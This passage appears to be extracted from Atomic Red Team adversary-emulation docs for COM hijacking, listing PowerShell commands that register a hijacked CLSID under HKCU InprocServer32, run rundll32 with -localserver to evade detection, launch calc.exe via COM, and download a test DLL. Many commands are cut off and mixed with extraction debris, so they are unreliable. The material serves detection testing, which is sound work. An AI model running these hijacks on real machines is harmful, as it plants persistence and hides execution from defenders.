

>	T1037.001
>	T1037.002
>	T1037.004
>	T1037.005
>	T1039
>	T1040

Name	Description	Туре	Default Value
clsid_threading	Threading Model	string	Apartment
dllpath	Path to the DLL.	String	\$env:TEMP\AtomicTest.dll
clsid	Class ID to hijack.	string	{B5F8350B-0548-48B1-A6EE- 88BD00B4A5E7}
clsid_description	Description for CLSID	string	MSAA AccPropServices

Attack Commands: Run with powershell!

```
New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Value '#{clsid_d \ \bar{New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -V. New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' Start-Process -FilePath "C:\Windows\System32\RUNDLL32.EXE" -ArgumentList
```

Cleanup Commands:

```
Remove-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Recurse -Erro
```

Dependencies: Run with powershell!

Description: DLL For testing

Check Prereq Commands:

```
if (Test-Path #{dllpath}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/ma
```

Atomic Test #2 - Powershell Execute COM Object

Use the PowerShell to execute COM CLSID object. Reference: https://pentestlab.blog/2020/05/20/persistence-com-hijacking/

Supported Platforms: Windows

auto_generated_guid: 752191b1-7c71-445c-9dbe-21bb031b18eb

Attack Commands: Run with powershell!

```
$0= [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-
$item = $0.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\wind
```

Cleanup Commands:

```
Get-Process -Name "*calc" | Stop-Process
```

Atomic Test #3 - COM Hijacking with RunDLL32 (Local Server Switch)

This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via "rundll32.exe -localserver [clsid]". This method is generally used as an alternative to 'rundll32.exe -sta [clsid]' to execute dll's while evading detection. Reference: https://www.hexacorn.com/blog/2020/02/13/run-lola-bin-run/ Upon successful execution of this test with the default options, whenever certain apps are opened (for example, Notepad), a calculator window will also be opened.

Supported Platforms: Windows

auto_generated_guid: 123520cc-e998-471b-a920-bd28e3feafa0

Inputs:

Name	Description	Туре	Default Value
clsid_threading	Threading Model	string	Both
dll_path	Path to the DLL.	String	\$env:temp\T1546.015_calc.dll
clsid	Class ID to hijack.	string	{B5F8350B-0548-48B1-A6EE- 88BD00B4A5E7}
clsid_description	Description for CLSID	string	MSAA AccPropServices

Attack Commands: Run with powershell!

```
New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Value '#{clsid_d \bigcup \text{New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -V \text{New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' \text{Start-Process -FilePath "C:\Windows\System32\RUNDLL32.EXE" -ArgumentList
```

Cleanup Commands:

```
Remove-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#\{clsid\}' -Recurse -Erro \Box
```

Dependencies: Run with powershell!

Description: DLL For testing

Check Prereq Commands:

```
if (Test-Path #{dll_path}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/ma 🚨
```